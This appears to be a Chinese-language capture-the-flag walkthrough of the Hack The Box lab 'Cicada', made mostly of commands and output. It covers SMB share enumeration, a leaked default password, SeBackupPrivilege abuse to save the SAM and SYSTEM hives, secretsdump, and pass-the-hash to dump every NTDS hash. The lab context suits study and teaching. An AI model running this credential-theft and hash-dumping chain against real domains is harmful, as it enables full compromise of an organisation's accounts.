┌──(root㉿kaada)-[/home/kali/Desktop] └─# nmap -p- -Pn --min-rate=1000 10.129.254.81 Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-1204:11 EST Stats:0:01:59 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan SYN Stealth Scan Timing: About 96.62% done; ETC:04:13 (0:00:04 remaining) Nmap scan report for 10.129.254.81 Host is up (0.14s latency). Not shown:65523 filtered tcp ports (no-response) PORT STATE SERVICE 53/tcp open domain 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl 64756/tcp open unknown
Nmap done:1 IP address (1 host up) scanned in124.16 seconds
┌──(root㉿kaada)-[/home/kali/Desktop] └─# nmap -A -sV -sC -p53,88,135,139,389,445,464,593,636,3268,3269 --min-rate=1000 10.129.254.81 Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-1204:15 EST Stats:0:00:54 elapsed; 0 hosts completed (1 up), 1 undergoing Traceroute Traceroute Timing: About 32.26% done; ETC:04:16 (0:00:00 remaining) Stats:0:00:54 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan NSE Timing: About 0.00% done Stats:0:01:37 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan NSE Timing: About 89.77% done; ETC:04:16 (0:00:00 remaining) Nmap scan report for 10.129.254.81 Host is up (0.12s latency).
PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time:2026-01-1216:15:31Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name) |_ssl-date:2026-01-12T16:17:02+00:00; +7h00m02s from scanner time. | ssl-cert:Subject: commonName=CICADA-DC.cicada.htb | Subject Alternative Name:othername:1.3.6.1.4.1.311.25.1:<unsupported>, DNS:CICADA-DC.cicada.htb | Not valid before:2024-08-22T20:24:16 |_Not valid after:2025-08-22T20:24:16 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name) |_ssl-date:2026-01-12T16:17:02+00:00; +7h00m03s from scanner time. | ssl-cert:Subject: commonName=CICADA-DC.cicada.htb | Subject Alternative Name:othername:1.3.6.1.4.1.311.25.1:<unsupported>, DNS:CICADA-DC.cicada.htb | Not valid before:2024-08-22T20:24:16 |_Not valid after:2025-08-22T20:24:16 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name) |_ssl-date:2026-01-12T16:17:02+00:00; +7h00m02s from scanner time. | ssl-cert:Subject: commonName=CICADA-DC.cicada.htb | Subject Alternative Name:othername:1.3.6.1.4.1.311.25.1:<unsupported>, DNS:CICADA-DC.cicada.htb | Not valid before:2024-08-22T20:24:16 |_Not valid after:2025-08-22T20:24:16 3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name) |_ssl-date:2026-01-12T16:17:02+00:00; +7h00m02s from scanner time. | ssl-cert:Subject: commonName=CICADA-DC.cicada.htb | Subject Alternative Name:othername:1.3.6.1.4.1.311.25.1:<unsupported>, DNS:CICADA-DC.cicada.htb | Not valid before:2024-08-22T20:24:16 |_Not valid after:2025-08-22T20:24:16 Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running (JUST GUESSING): Microsoft Windows 2022|2012|2016 (89%) OS CPE: cpe:/o:microsoft:windows_server_2022 cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_server_2016 Aggressive OS guesses: Microsoft Windows Server 2022 (89%), Microsoft Windows Server 2012 R2 (85%), Microsoft Windows Server 2016 (85%) No exact OS matches for host (test conditions non-ideal). Network Distance:2 hops Service Info:Host: CICADA-DC; OS: Windows; CPE: cpe:/o:microsoft:windows
TRACEROUTE (using port 139/tcp) HOP RTT ADDRESS 1135.57 ms 10.10.14.1 2135.70 ms 10.129.254.81
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done:1 IP address (1 host up) scanned in99.38 seconds
将靶机域名写入hosts
1 2 3
┌──(root㉿kaada)-[/home/kali/Desktop] └─# echo "10.129.254.81 CICADA-DC CICADA-DC.htb cicada.htb cicada-dc CICADA-DC.cicada.htb"| tee -a /etc/hosts 10.129.254.81CICADA-DCCICADA-DC.htb cicada.htb cicada-dc CICADA-DC.cicada.htb
Sharename TypeComment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Defaultshare DEV Disk HR Disk IPC$ IPC Remote IPC NETLOGON Disk Logon servershare SYSVOL Disk Logon servershare Reconnecting with SMB1 for workgroup listing. do_connect: Connectionto10.129.254.81 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND) Unable toconnectwith SMB1 -- no workgroup available
发现不常见文件目录名：HR，进行进一步探测
1 2 3 4 5 6 7 8 9 10 11 12
┌──(root㉿kaada)-[/home/kali/Desktop] └─# smbclient -N //10.129.254.81/HR Try "help"togeta list of possible commands. smb: \> dir . D 0 Thu Mar 1408:29:092024 .. D 0 Thu Mar 1408:21:292024 Notice from HR.txt A 1266 Wed Aug 2813:31:482024
4168447 blocks of size 4096.459560 blocks available smb: \> get"Notice from HR.txt" getting file \Notice from HR.txt of size 1266as Notice from HR.txt (2.7 KiloBytes/sec) (average2.7 KiloBytes/sec) smb: \>
Welcome to Cicada Corp! We're thrilled to have you join our team. As part of our security protocols, it's essential that you change your default password to something unique and secure.
Your default password is: Cicada$M6Corpb*@Lp#nZp!8
To change your password:
1. Log into your Cicada Corp account** using the provided username and the default password mentioned above. 2. Once logged in, navigate to your account settings or profile settings section. 3. Look for the optionto change your password. This will be labeled as"Change Password". 4. Follow the prompts to create a new password**. Make sure your new password is strong, containing a mix of uppercase letters, lowercase letters, numbers, and special characters. 5. After changing your password, make sure to save your changes.
Remember, your password is a crucial aspect of keeping your account secure. Please donot share your password with anyone, and ensure you use a complex password.
If you encounter any issues or need assistance with changing your password, don't hesitate to reach out to our support team at support@cicada.htb.
Thank you for your attention to this matter, and once again, welcome to the Cicada Corp team!
┌──(root㉿kaada)-[/home/kali/Desktop] └─# smbclient -U 'david.orelious' //10.129.254.81/DEV Password for [WORKGROUP\david.orelious]: Try "help"togeta list of possible commands. smb: \> dir . D 0 Thu Mar 1408:31:392024 .. D 0 Thu Mar 1408:21:292024 Backup_script.ps1 A 601 Wed Aug 2813:28:222024
4168447 blocks of size 4096.481778 blocks available smb: \> get"Backup_script.ps1" getting file \Backup_script.ps1 of size 601as Backup_script.ps1 (1.4 KiloBytes/sec) (average1.4 KiloBytes/sec) smb: \>
GroupNameType SID Attributes ========================================== ================ ============ ================================================== Everyone Well-known groupS-1-1-0 Mandatory group, Enabled by default, Enabled group BUILTIN\Backup Operators Alias S-1-5-32-551 Mandatory group, Enabled by default, Enabled group BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group BUILTIN\Certificate Service DCOM Access Alias S-1-5-32-574 Mandatory group, Enabled by default, Enabled group BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NETWORK Well-known groupS-1-5-2 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\Authenticated Users Well-known groupS-1-5-11 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\This Organization Well-known groupS-1-5-15 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NTLM Authentication Well-known groupS-1-5-64-10 Mandatory group, Enabled by default, Enabled group Mandatory Label\High Mandatory Level Label S-1-16-12288
PRIVILEGES INFORMATION ----------------------
Privilege Name Description State ============================= ============================== ======= SeBackupPrivilege Back up files and directories Enabled SeRestorePrivilege Restore files and directories Enabled SeShutdownPrivilege Shut down the system Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
USERCLAIMSINFORMATION -----------------------
Userclaims unknown.
Kerberos support for Dynamic Access Control on this device has been disabled. *Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents>
其拥有备份管理员权限，那么可以将sam文件和system文件备份并下载
SeBackupPrivilege（备份文件和目录权限）是 Windows 操作系统中的一种特权，它允许用户绕过文件和目录的权限限制来读取文件，以便执行备份操作。
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> reg save hklm\sam sam The operation completed successfully.
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> reg save hklm\system system The operation completed successfully.
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> download sam
Info: Downloading C:\Users\emily.oscars.CICADA\Documents\sam to sam
Info: Download successful! *Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> download system
Info: Downloading C:\Users\emily.oscars.CICADA\Documents\system to system
Info: Download successful!
使用impacket的secretdump模块抓取哈希
1 2 3 4 5 6 7 8 9 10
┌──(root㉿kaada)-[/home/kali/Desktop] └─# impacket-secretsdump -sam sam -system system local Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Target system bootKey: 0x3c2b033757a49110a9ee680b46e8d620 [*] Dumping local SAM hashes (uid:rid:lmhash:nthash) Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b87e7c93a3e8a0ea4a581937016f341::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: [*] Cleaning up...
┌──(root㉿kaada)-[/home/kali/Desktop] └─# nxc smb cicada.htb -u 'Administrator' -H '2b87e7c93a3e8a0ea4a581937016f341' -M ntdsutil /root/.local/share/pipx/venvs/netexec/lib/python3.13/site-packages/masky/lib/smb.py:6: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81. from pkg_resources import resource_filename SMB10.129.254.81445CICADA-DC [*] WindowsServer2022Build20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False) SMB10.129.254.81445CICADA-DC [+] cicada.htb\Administrator:2b87e7c93a3e8a0ea4a581937016f341 (Pwn3d!) NTDSUTIL10.129.254.81445CICADA-DC [*] Dumping ntds with ntdsutil.exe to C:\Windows\Temp\176821327 NTDSUTIL10.129.254.81445CICADA-DCDumping the NTDS, this could take a while so go grab a redbull... NTDSUTIL10.129.254.81445CICADA-DC [+] NTDS.dit dumped to C:\Windows\Temp\176821327 NTDSUTIL10.129.254.81445CICADA-DC [*] CopyingNTDS dump to /tmp/tmpryqav_rz NTDSUTIL10.129.254.81445CICADA-DC [*] NTDS dump copied to /tmp/tmpryqav_rz NTDSUTIL10.129.254.81445CICADA-DC [+] DeletedC:\Windows\Temp\176821327 remote dump directory NTDSUTIL10.129.254.81445CICADA-DC [+] Dumping the NTDS, this could take a while so go grab a redbull... NTDSUTIL10.129.254.81445CICADA-DCAdministrator:500:aad3b435b51404eeaad3b435b51404ee:2b87e7c93a3e8a0ea4a581937016f341::: NTDSUTIL10.129.254.81445CICADA-DCGuest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: NTDSUTIL10.129.254.81445CICADA-DCCICADA-DC$:1000:aad3b435b51404eeaad3b435b51404ee:188c2f3cb7592e18d1eae37991dee696::: NTDSUTIL10.129.254.81445CICADA-DC krbtgt:502:aad3b435b51404eeaad3b435b51404ee:3779000802a4bb402736bee52963f8ef::: NTDSUTIL10.129.254.81445CICADA-DC cicada.htb\john.smoulder:1104:aad3b435b51404eeaad3b435b51404ee:0d33a055d07e231ce088a91975f28dc4::: NTDSUTIL10.129.254.81445CICADA-DC cicada.htb\sarah.dantelia:1105:aad3b435b51404eeaad3b435b51404ee:d1c88b5c2ecc0e2679000c5c73baea20::: NTDSUTIL10.129.254.81445CICADA-DC cicada.htb\michael.wrightson:1106:aad3b435b51404eeaad3b435b51404ee:b222964c9f247e6b225ce9e7c4276776::: NTDSUTIL10.129.254.81445CICADA-DC cicada.htb\david.orelious:1108:aad3b435b51404eeaad3b435b51404ee:ef0bcbf3577b729dcfa6fbe1731d5a43::: NTDSUTIL10.129.254.81445CICADA-DC cicada.htb\emily.oscars:1601:aad3b435b51404eeaad3b435b51404ee:559048ab2d168a4edf8e033d43165ee5::: NTDSUTIL10.129.254.81445CICADA-DC [+] Dumped9NTDS hashes to /root/.nxc/logs/ntds/CICADA-DC_10.129.254.81_2026-01-12_052110.ntds of which 8 were added to the database NTDSUTIL10.129.254.81445CICADA-DC [*] To extract only enabled accounts from the output file, run the following command: NTDSUTIL10.129.254.81445CICADA-DC [*] grep -iv disabled /root/.nxc/logs/ntds/CICADA-DC_10.129.254.81_2026-01-12_052110.ntds | cut -d ':' -f1